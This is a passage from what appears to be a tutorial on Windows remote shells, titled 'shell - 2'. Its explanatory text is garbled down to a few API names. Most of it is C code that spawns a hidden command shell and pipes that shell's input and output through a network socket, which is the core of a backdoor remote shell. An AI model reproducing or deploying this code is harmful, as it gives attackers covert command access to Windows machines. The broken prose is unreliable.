shell - 2


Platform SDK, : PeerkNamePipe ioctlsocket. "" , . / .

 

sa.lpSecurityDescriptor = NULL;

sa.nLength = sizeof(SECURITY_ATTRIBUTES);

sa.bInheritHandle = TRUE; //allow inheritable handles

 

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; //create stdin pipe

if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; //create stdout pipe

 

GetStartupInfo(&si); //set startupinfo for the spawned process

 

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

si.wShowWindow = SW_HIDE;

si.hStdOutput = cstdout;

si.hStdError = cstdout; //set the new handles for the child process

si.hStdInput = cstdin;

 

//spawn the child process

if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;

 

while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))

{

 

//check to see if there is any data to read from stdout

if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)

{

for (a = 0; a < total; a += MAX_BUF_SIZE)

{

ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);

send(csocket, buf, N, 0);

}

}

if (!ioctlsocket(csocket, FIONREAD , &N) && N)

{

recv(csocket, buf, 1, 0);

if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);

WriteFile(wstdin, buf, 1, &N, 0);

}

Sleep(1);

}




- -  - -  - -